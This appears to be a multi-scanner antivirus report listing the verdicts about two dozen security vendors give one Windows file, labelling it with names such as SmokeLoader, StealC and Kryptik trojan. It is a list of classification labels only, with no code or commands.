TrendMicro Trojan.Win32.SMOKELOADER.YXEF2Z
McAfeeD Real Protect-LS!88932AB33C38
Trapmine malicious.moderate.ml.score
FireEye Generic.mg.88932ab33c380729
Sophos Troj/Krypt-AEE
Ikarus Trojan.Win32.Crypt
Webroot W32.Trojan.Gen
Google Detected
MAX malware (ai score=81)
Antiy-AVL Trojan/Win32.Kryptik
Kingsoft malware.kb.a.1000
Gridinsoft Trojan.Win32.Agent.sa
Xcitium Malware@#3d11euvqed7s1
Microsoft Trojan:Win32/StealC.GND!MTB
ZoneAlarm HEUR:Trojan.Win32.Strab.gen
GData Win32.Trojan.PSE.19KREOO
Varist W32/Trojan.FWF.gen!Eldorado
BitDefenderTheta Gen:NN.ZexaF.36808.Yq0@aiN8SzoG
DeepInstinct MALICIOUS
VBA32 BScope.Trojan.Convagent
Malwarebytes Trojan.MalPack.GS
Panda Trj/GdSda.A
TrendMicro-HouseCall Trojan.Win32.SMOKELOADER.YXEF2Z
SentinelOne Static AI - Malicious PE
MaxSecure Trojan.Malware.300983.susgen